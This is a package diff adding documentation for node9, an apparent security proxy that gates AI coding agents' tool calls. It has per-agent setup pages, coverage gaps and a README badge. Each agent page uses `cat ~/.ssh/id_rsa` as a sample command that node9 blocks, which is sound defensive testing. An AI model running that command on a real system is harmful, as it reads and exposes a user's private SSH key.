@node9/proxy 2.10.0 → 2.11.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/docs/README.md +49 -0
- package/docs/agents/README.md +29 -0
- package/docs/agents/antigravity.md +33 -0
- package/docs/agents/claude-code.md +40 -0
- package/docs/agents/claude-desktop.md +32 -0
- package/docs/agents/codex.md +37 -0
- package/docs/agents/copilot-cli.md +34 -0
- package/docs/agents/cursor.md +36 -0
- package/docs/agents/gemini-cli.md +34 -0
- package/docs/agents/hermes.md +35 -0
- package/docs/agents/opencode.md +36 -0
- package/docs/agents/pi.md +34 -0
- package/docs/agents/vscode.md +33 -0
- package/docs/agents/windsurf.md +31 -0
- package/docs/badges.md +98 -0
- package/docs/comparison.md +66 -0
- package/docs/egress.md +119 -0
- package/package.json +2 -1
package/docs/README.md
ADDED
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
# node9 documentation
|
|
2
|
+
|
|
3
|
+
These pages are the source of truth for how node9 behaves. They live next to the code so the tests
|
|
4
|
+
in this repository can check them: a page that names a command the CLI does not have, or a command
|
|
5
|
+
with no page at all, fails CI.
|
|
6
|
+
|
|
7
|
+
The site at [node9.ai/docs](https://node9.ai/docs) renders these same files.
|
|
8
|
+
|
|
9
|
+
## Protections
|
|
10
|
+
|
|
11
|
+
| Page | What it covers |
|
|
12
|
+
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
|
|
13
|
+
| [Egress Control](egress.md) | Which hosts an agent may reach, the always-on floor around cloud metadata and private ranges, and what a destination gate does not cover |
|
|
14
|
+
|
|
15
|
+
## Per agent
|
|
16
|
+
|
|
17
|
+
[One page per agent](agents/README.md): how node9 is wired in, what that covers, and what it does
|
|
18
|
+
not. Twelve agents, split by control model.
|
|
19
|
+
|
|
20
|
+
## Reference
|
|
21
|
+
|
|
22
|
+
| Page | What it covers |
|
|
23
|
+
| --------------------------- | ----------------------------------------------------------------------------------------------------- |
|
|
24
|
+
| [Comparison](comparison.md) | Where node9 sits among agent-security tools, on the axis of what a tool can read before an agent runs |
|
|
25
|
+
| [Badges](badges.md) | The `scanned by node9` badge for your own README |
|
|
26
|
+
|
|
27
|
+
## Writing a page here
|
|
28
|
+
|
|
29
|
+
Every page starts with front matter:
|
|
30
|
+
|
|
31
|
+
```yaml
|
|
32
|
+
---
|
|
33
|
+
id: egress
|
|
34
|
+
label: Egress Control
|
|
35
|
+
description: One sentence. It becomes the page's search description.
|
|
36
|
+
group: Protections
|
|
37
|
+
order: 20
|
|
38
|
+
---
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
`id` becomes the URL (`/docs/egress`), `group` places it in the site's left navigation, and `order`
|
|
42
|
+
sorts it within that group. Use GitHub-flavoured Markdown plus GitHub alerts (`> [!NOTE]`,
|
|
43
|
+
`> [!WARNING]`), which render in both places.
|
|
44
|
+
|
|
45
|
+
Two rules the tests enforce:
|
|
46
|
+
|
|
47
|
+
- Every command a page names must exist. Check with `node9 <command> --help` before you write it.
|
|
48
|
+
- Every page must state what the feature does **not** do. A page that only sells is a page that
|
|
49
|
+
will be wrong within a release.
|
|
@@ -0,0 +1,29 @@
|
|
|
1
|
+
# node9 per agent
|
|
2
|
+
|
|
3
|
+
One page per agent: what node9 wires into it, what that covers, and what it does not. The
|
|
4
|
+
"what is not covered" section is the one to read before you tell your team an agent is governed.
|
|
5
|
+
|
|
6
|
+
| Agent | Control model | Prompt scan | Guide |
|
|
7
|
+
| --------------------------- | ------------- | ----------- | -------------------------------------- |
|
|
8
|
+
| Claude Code | hooks + MCP | yes | [claude-code.md](claude-code.md) |
|
|
9
|
+
| Codex CLI | hooks + MCP | yes | [codex.md](codex.md) |
|
|
10
|
+
| GitHub Copilot CLI | hooks + MCP | yes | [copilot-cli.md](copilot-cli.md) |
|
|
11
|
+
| Gemini CLI | hooks + MCP | no | [gemini-cli.md](gemini-cli.md) |
|
|
12
|
+
| Antigravity | hooks + MCP | no | [antigravity.md](antigravity.md) |
|
|
13
|
+
| Hermes Agent | hooks | no | [hermes.md](hermes.md) |
|
|
14
|
+
| OpenCode | plugin | yes | [opencode.md](opencode.md) |
|
|
15
|
+
| Pi | extension | yes | [pi.md](pi.md) |
|
|
16
|
+
| Cursor | MCP only | no | [cursor.md](cursor.md) |
|
|
17
|
+
| Windsurf | MCP only | no | [windsurf.md](windsurf.md) |
|
|
18
|
+
| VS Code (Copilot extension) | MCP only | no | [vscode.md](vscode.md) |
|
|
19
|
+
| Claude Desktop | MCP only | no | [claude-desktop.md](claude-desktop.md) |
|
|
20
|
+
|
|
21
|
+
"Hooks" means node9 sees every tool call before it runs. "MCP only" means node9 sees the tools
|
|
22
|
+
that go through MCP servers and nothing the editor does on its own.
|
|
23
|
+
|
|
24
|
+
Every page ends with the same two commands, and they are the real check:
|
|
25
|
+
|
|
26
|
+
```bash
|
|
27
|
+
node9 doctor
|
|
28
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa'
|
|
29
|
+
```
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# node9 with Antigravity
|
|
2
|
+
|
|
3
|
+
| Surface | How node9 is wired | What it does |
|
|
4
|
+
| ----------------- | ------------------------------------------------------ | ------------------------------------------- |
|
|
5
|
+
| Every tool call | `PreToolUse` hook in `~/.gemini/config/hooks.json` | allow / review / block before the tool runs |
|
|
6
|
+
| Every tool result | `PostToolUse` hook | audit record |
|
|
7
|
+
| MCP servers | `~/.gemini/config/mcp_config.json` entries are wrapped | per-tool allow / review / block |
|
|
8
|
+
|
|
9
|
+
Payload shape verified against Antigravity 1.0.6.
|
|
10
|
+
|
|
11
|
+
## Set it up
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
node9 agents add antigravity
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
18
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
19
|
+
|
|
20
|
+
## What is not covered
|
|
21
|
+
|
|
22
|
+
- **No prompt scan.** There is no prompt event to hook.
|
|
23
|
+
- Cost is not tracked for Antigravity.
|
|
24
|
+
|
|
25
|
+
## Verify it on this machine
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
29
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
33
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
# node9 with Claude Code
|
|
2
|
+
|
|
3
|
+
Claude Code is the most fully covered agent.
|
|
4
|
+
|
|
5
|
+
| Surface | How node9 is wired | What it does |
|
|
6
|
+
| ----------------- | ----------------------------------------------------------------- | --------------------------------------------------------- |
|
|
7
|
+
| Every tool call | `PreToolUse` hook in `~/.claude/settings.json` | allow / review / block before the tool runs |
|
|
8
|
+
| Every tool result | `PostToolUse` hook | writes the audit record |
|
|
9
|
+
| Pasted prompts | `UserPromptSubmit` hook | secret pasted into the prompt is caught before it is sent |
|
|
10
|
+
| MCP servers | entries in `~/.claude.json` are wrapped through the node9 gateway | per-tool allow / review / block |
|
|
11
|
+
| Cost | reads `~/.claude/projects` session logs | per-project spend in `node9 report` |
|
|
12
|
+
|
|
13
|
+
The `PreToolUse` hook runs in every Claude Code permission mode, including
|
|
14
|
+
`--dangerously-skip-permissions`. That was verified with a standalone probe, and it is
|
|
15
|
+
undocumented behaviour, so treat it as a fact about today's Claude Code rather than a guarantee.
|
|
16
|
+
|
|
17
|
+
## Set it up
|
|
18
|
+
|
|
19
|
+
```bash
|
|
20
|
+
node9 agents add claude
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
24
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
25
|
+
|
|
26
|
+
## What is not covered
|
|
27
|
+
|
|
28
|
+
- Tool **output** is observed, not gated. Claude Code's `PostToolUse` cannot suppress a
|
|
29
|
+
result, so a secret or an injected instruction inside a tool result is recorded and the
|
|
30
|
+
session is tainted for review on the next call; it is not stripped before Claude sees it.
|
|
31
|
+
|
|
32
|
+
## Verify it on this machine
|
|
33
|
+
|
|
34
|
+
```bash
|
|
35
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
36
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
40
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
# node9 with Claude Desktop
|
|
2
|
+
|
|
3
|
+
Claude Desktop only calls tools through MCP, so wrapping its servers covers every tool it
|
|
4
|
+
can use.
|
|
5
|
+
|
|
6
|
+
| Surface | How node9 is wired | What it does |
|
|
7
|
+
| ----------- | ----------------------------------------------------------------------------- | ------------------------------- |
|
|
8
|
+
| MCP servers | entries in `claude_desktop_config.json` are wrapped through the node9 gateway | per-tool allow / review / block |
|
|
9
|
+
|
|
10
|
+
## Set it up
|
|
11
|
+
|
|
12
|
+
```bash
|
|
13
|
+
node9 agents add claudeDesktop
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
17
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
18
|
+
|
|
19
|
+
## What is not covered
|
|
20
|
+
|
|
21
|
+
- No prompt scan and no cost tracking.
|
|
22
|
+
- `node9 doctor` and `node9 status` do not list Claude Desktop yet.
|
|
23
|
+
|
|
24
|
+
## Verify it on this machine
|
|
25
|
+
|
|
26
|
+
```bash
|
|
27
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
28
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
32
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
# node9 with Codex CLI
|
|
2
|
+
|
|
3
|
+
Codex gets the same pre-tool gate as Claude Code.
|
|
4
|
+
|
|
5
|
+
| Surface | How node9 is wired | What it does |
|
|
6
|
+
| ----------------- | --------------------------------------------------- | -------------------------------------------------- |
|
|
7
|
+
| Every tool call | `PreToolUse` hook in `~/.codex/hooks.json` | allow / review / block before the tool runs |
|
|
8
|
+
| Pasted prompts | `UserPromptSubmit` hook | prompt secret scan |
|
|
9
|
+
| Every tool result | `PostToolUse` hook | audit record; verified against real Codex sessions |
|
|
10
|
+
| MCP servers | `mcp_servers` in `~/.codex/config.toml` are wrapped | per-tool allow / review / block |
|
|
11
|
+
|
|
12
|
+
Headless `codex exec` runs the same hooks. Verified with a nonce probe against the real
|
|
13
|
+
trusted-hooks config: both the pre and post hook fired.
|
|
14
|
+
|
|
15
|
+
## Set it up
|
|
16
|
+
|
|
17
|
+
```bash
|
|
18
|
+
node9 agents add codex
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
22
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
23
|
+
|
|
24
|
+
## What is not covered
|
|
25
|
+
|
|
26
|
+
- Cost is not tracked for Codex. `node9 report` cost figures are Claude Code only today.
|
|
27
|
+
- Tool output is observed, not gated (same as Claude Code).
|
|
28
|
+
|
|
29
|
+
## Verify it on this machine
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
33
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
37
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
# node9 with GitHub Copilot CLI
|
|
2
|
+
|
|
3
|
+
Copilot CLI is wired on three events, which makes it one of the strongest integrations.
|
|
4
|
+
|
|
5
|
+
| Surface | How node9 is wired | What it does |
|
|
6
|
+
| ----------------- | ------------------------------------------------ | ------------------------------------------- |
|
|
7
|
+
| Every tool call | `PreToolUse` in `~/.copilot/hooks/node9.json` | allow / review / block before the tool runs |
|
|
8
|
+
| Every tool result | `PostToolUse` | audit record |
|
|
9
|
+
| Pasted prompts | `UserPromptSubmit` | prompt secret scan |
|
|
10
|
+
| MCP servers | `~/.copilot/mcp-config.json` entries are wrapped | per-tool allow / review / block |
|
|
11
|
+
|
|
12
|
+
## Set it up
|
|
13
|
+
|
|
14
|
+
```bash
|
|
15
|
+
node9 agents add copilot
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
19
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
20
|
+
|
|
21
|
+
## What is not covered
|
|
22
|
+
|
|
23
|
+
- Cost is not tracked for Copilot.
|
|
24
|
+
- Tool output is observed, not gated.
|
|
25
|
+
|
|
26
|
+
## Verify it on this machine
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
30
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
34
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# node9 with Cursor
|
|
2
|
+
|
|
3
|
+
Cursor has no pre-execution hook, so node9 protects it through MCP only.
|
|
4
|
+
|
|
5
|
+
| Surface | How node9 is wired | What it does |
|
|
6
|
+
| ----------- | ------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
|
|
7
|
+
| MCP servers | `~/.cursor/mcp.json` entries are wrapped through the node9 gateway | every `tools/call` is authorized, pinned and env-scrubbed before it reaches the server |
|
|
8
|
+
|
|
9
|
+
For tools that go through MCP this is the same allow / review / block gate every other agent
|
|
10
|
+
gets.
|
|
11
|
+
|
|
12
|
+
## Set it up
|
|
13
|
+
|
|
14
|
+
```bash
|
|
15
|
+
node9 agents add cursor
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
19
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
20
|
+
|
|
21
|
+
## What is not covered
|
|
22
|
+
|
|
23
|
+
- **Cursor's own terminal and file edits are not gated.** Nothing in Cursor exposes them to a
|
|
24
|
+
hook today. If Cursor runs `cat ~/.ssh/id_rsa` in its built-in terminal, node9 does not see it.
|
|
25
|
+
- No prompt scan, no audit of native tool calls, no cost tracking.
|
|
26
|
+
- Say this plainly to your team: with Cursor, node9 governs the MCP surface, not the editor.
|
|
27
|
+
|
|
28
|
+
## Verify it on this machine
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
32
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
36
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
# node9 with Gemini CLI
|
|
2
|
+
|
|
3
|
+
| Surface | How node9 is wired | What it does |
|
|
4
|
+
| ----------------- | ----------------------------------------------------- | ------------------------------------------- |
|
|
5
|
+
| Every tool call | `BeforeTool` hook in `~/.gemini/settings.json` | allow / review / block before the tool runs |
|
|
6
|
+
| Every tool result | `AfterTool` hook | audit record |
|
|
7
|
+
| MCP servers | `mcpServers` in `~/.gemini/settings.json` are wrapped | per-tool allow / review / block |
|
|
8
|
+
|
|
9
|
+
## Set it up
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
node9 agents add gemini
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
16
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
17
|
+
|
|
18
|
+
## What is not covered
|
|
19
|
+
|
|
20
|
+
- **No prompt scan.** Gemini CLI has no prompt-submit hook, so a secret pasted into the prompt
|
|
21
|
+
is not caught until it shows up in a tool call.
|
|
22
|
+
- The session id Gemini sends drifts across resumes, so a review taint set before a resume can
|
|
23
|
+
be orphaned. Within one session it works.
|
|
24
|
+
- Cost is not tracked for Gemini.
|
|
25
|
+
|
|
26
|
+
## Verify it on this machine
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
30
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
34
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
# node9 with Hermes Agent
|
|
2
|
+
|
|
3
|
+
| Surface | How node9 is wired | What it does |
|
|
4
|
+
| ----------------- | ------------------------------------------------------ | ------------------------------------------- |
|
|
5
|
+
| Every tool call | `pre_tool_call` command hook in the Hermes YAML config | allow / review / block before the tool runs |
|
|
6
|
+
| Every tool result | `post_tool_call` command hook | audit record |
|
|
7
|
+
|
|
8
|
+
Run `node9 status` to see the exact config path on your machine.
|
|
9
|
+
|
|
10
|
+
## Set it up
|
|
11
|
+
|
|
12
|
+
```bash
|
|
13
|
+
node9 agents add hermes
|
|
14
|
+
```
|
|
15
|
+
|
|
16
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
17
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
18
|
+
|
|
19
|
+
## What is not covered
|
|
20
|
+
|
|
21
|
+
- **No prompt scan.** Hermes has no prompt event.
|
|
22
|
+
- **No MCP wrapping.** Hermes' MCP servers are not routed through the node9 gateway.
|
|
23
|
+
- Hermes sends an empty session id on the pre-tool hook, so the output-taint review gate
|
|
24
|
+
does not work for Hermes. Upstream issue: NousResearch/hermes-agent#48311.
|
|
25
|
+
- Cost is not tracked for Hermes.
|
|
26
|
+
|
|
27
|
+
## Verify it on this machine
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
31
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
35
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
# node9 with OpenCode
|
|
2
|
+
|
|
3
|
+
OpenCode is protected by a node9 plugin rather than hooks or MCP.
|
|
4
|
+
|
|
5
|
+
| Surface | How node9 is wired | What it does |
|
|
6
|
+
| ----------------- | -------------------------------------------------------------------------------------------------- | ------------------------------------------- |
|
|
7
|
+
| Every tool call | `tool.execute.before` in the node9 plugin under the OpenCode config directory (`plugins/node9.js`) | allow / review / block before the tool runs |
|
|
8
|
+
| Prompts | `chat.message` | prompt secret scan |
|
|
9
|
+
| Every tool result | `tool.execute.after` | audit record, and output redaction in place |
|
|
10
|
+
|
|
11
|
+
Because the plugin can mutate tool output, secrets in a result are redacted before the model
|
|
12
|
+
sees them. That is stronger than the observe-only agents.
|
|
13
|
+
|
|
14
|
+
## Set it up
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
node9 agents add opencode
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
21
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
22
|
+
|
|
23
|
+
## What is not covered
|
|
24
|
+
|
|
25
|
+
- MCP servers are not wrapped for OpenCode; the plugin gates tool calls directly.
|
|
26
|
+
- Cost is not tracked for OpenCode.
|
|
27
|
+
|
|
28
|
+
## Verify it on this machine
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
32
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
33
|
+
```
|
|
34
|
+
|
|
35
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
36
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,34 @@
|
|
|
1
|
+
# node9 with Pi
|
|
2
|
+
|
|
3
|
+
Pi is protected by a node9 extension rather than hooks or MCP.
|
|
4
|
+
|
|
5
|
+
| Surface | How node9 is wired | What it does |
|
|
6
|
+
| --------------------------------- | ------------------------------------------------ | ------------------------------------------- |
|
|
7
|
+
| Every tool call | `tool_call` in `~/.pi/agent/extensions/node9.js` | allow / review / block before the tool runs |
|
|
8
|
+
| Prompts | `input` | prompt secret scan |
|
|
9
|
+
| The `!` / `!!` shell side channel | `user_bash` | gated like any other command |
|
|
10
|
+
| Every tool result | `tool_result` | audit record, and output redaction in place |
|
|
11
|
+
|
|
12
|
+
## Set it up
|
|
13
|
+
|
|
14
|
+
```bash
|
|
15
|
+
node9 agents add pi
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
19
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
20
|
+
|
|
21
|
+
## What is not covered
|
|
22
|
+
|
|
23
|
+
- MCP servers are not wrapped for Pi.
|
|
24
|
+
- Cost is not tracked for Pi.
|
|
25
|
+
|
|
26
|
+
## Verify it on this machine
|
|
27
|
+
|
|
28
|
+
```bash
|
|
29
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
30
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
34
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
# node9 with VS Code (Copilot extension)
|
|
2
|
+
|
|
3
|
+
The VS Code Copilot extension exposes no hook, so node9 wraps its MCP servers only. This is
|
|
4
|
+
a different integration from the Copilot **CLI**, which has full hooks; see
|
|
5
|
+
[copilot-cli.md](copilot-cli.md).
|
|
6
|
+
|
|
7
|
+
| Surface | How node9 is wired | What it does |
|
|
8
|
+
| ----------- | ------------------------------------------------------------------ | ------------------------------- |
|
|
9
|
+
| MCP servers | VS Code's MCP config entries are wrapped through the node9 gateway | per-tool allow / review / block |
|
|
10
|
+
|
|
11
|
+
## Set it up
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
node9 agents add vscode
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
18
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
19
|
+
|
|
20
|
+
## What is not covered
|
|
21
|
+
|
|
22
|
+
- The editor's own terminal and edits are not gated.
|
|
23
|
+
- `node9 doctor` and `node9 status` do not list VS Code yet.
|
|
24
|
+
|
|
25
|
+
## Verify it on this machine
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
29
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
33
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
# node9 with Windsurf
|
|
2
|
+
|
|
3
|
+
Windsurf exposes no pre-execution hook, so node9 wraps its MCP servers and nothing else.
|
|
4
|
+
|
|
5
|
+
| Surface | How node9 is wired | What it does |
|
|
6
|
+
| ----------- | ------------------------------------------------------------------- | ------------------------------- |
|
|
7
|
+
| MCP servers | Windsurf's MCP config entries are wrapped through the node9 gateway | per-tool allow / review / block |
|
|
8
|
+
|
|
9
|
+
## Set it up
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
node9 agents add windsurf
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
`node9 init` does this for every agent it detects on the machine. Either command is safe to
|
|
16
|
+
re-run; it repairs a hook that an agent update removed and leaves everything else alone.
|
|
17
|
+
|
|
18
|
+
## What is not covered
|
|
19
|
+
|
|
20
|
+
- Windsurf's own terminal and edits are not gated, and there is no audit of them.
|
|
21
|
+
- `node9 doctor` and `node9 status` do not list Windsurf yet; check the MCP config by hand.
|
|
22
|
+
|
|
23
|
+
## Verify it on this machine
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
node9 doctor # is the hook (or MCP wrap) actually in place?
|
|
27
|
+
node9 explain Bash 'cat ~/.ssh/id_rsa' # shows the verdict the live hook enforces: BLOCK
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
`node9 explain` prints the exact rule that fires and where the decision came from. If `doctor`
|
|
31
|
+
says the agent is not wired, the guard is not running, whatever the config looks like.
|
package/docs/badges.md
ADDED
|
@@ -0,0 +1,98 @@
|
|
|
1
|
+
# node9 badges
|
|
2
|
+
|
|
3
|
+
Drop-in Markdown for showing that a project's agent-security surface is checked by node9.
|
|
4
|
+
|
|
5
|
+
Two badges ship. One is for projects that use node9; the other is reserved for this repository.
|
|
6
|
+
|
|
7
|
+
## `scanned by node9`
|
|
8
|
+
|
|
9
|
+
Use this on any public project where the node9 Action runs in CI. It says that the repo's
|
|
10
|
+
committed agent configuration — CI workflows, agent settings, MCP servers, instruction files — is
|
|
11
|
+
inspected on every pull request, and it links readers back to node9 so they can judge what the
|
|
12
|
+
badge is worth.
|
|
13
|
+
|
|
14
|
+

|
|
15
|
+
|
|
16
|
+
### Requirements
|
|
17
|
+
|
|
18
|
+
Only display this badge if the node9 Action genuinely runs on every pull request. The honest CI
|
|
19
|
+
wiring is the signal; the badge is only a surface for it. A badge on a repo that does not run the
|
|
20
|
+
check is misleading, and it devalues the badge for everyone who does.
|
|
21
|
+
|
|
22
|
+
The minimum is a job that runs `node9-ai/node9-proxy@v2` on `pull_request`:
|
|
23
|
+
|
|
24
|
+
```yaml
|
|
25
|
+
# .github/workflows/agent-security.yml
|
|
26
|
+
name: node9 agent-security
|
|
27
|
+
on: pull_request
|
|
28
|
+
permissions:
|
|
29
|
+
contents: read
|
|
30
|
+
pull-requests: write
|
|
31
|
+
checks: write
|
|
32
|
+
jobs:
|
|
33
|
+
scan:
|
|
34
|
+
runs-on: ubuntu-latest
|
|
35
|
+
steps:
|
|
36
|
+
- uses: node9-ai/node9-proxy@v2
|
|
37
|
+
with:
|
|
38
|
+
fail-on: high # 'never' to comment without gating
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
`fail-on: never` still counts as running the check: the badge claims the surface is _inspected_,
|
|
42
|
+
not that merges are blocked.
|
|
43
|
+
|
|
44
|
+
### Markdown
|
|
45
|
+
|
|
46
|
+
```markdown
|
|
47
|
+
[](https://github.com/node9-ai/node9-proxy)
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### HTML
|
|
51
|
+
|
|
52
|
+
```html
|
|
53
|
+
<a href="https://github.com/node9-ai/node9-proxy">
|
|
54
|
+
<img
|
|
55
|
+
alt="scanned by node9"
|
|
56
|
+
src="https://img.shields.io/badge/scanned%20by-node9-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K"
|
|
57
|
+
/>
|
|
58
|
+
</a>
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
### Placement
|
|
62
|
+
|
|
63
|
+
Put it with the other status badges at the top of the README. It follows the standard shields.io
|
|
64
|
+
layout, so it sits cleanly next to CI, coverage, and license badges.
|
|
65
|
+
|
|
66
|
+
### Link target
|
|
67
|
+
|
|
68
|
+
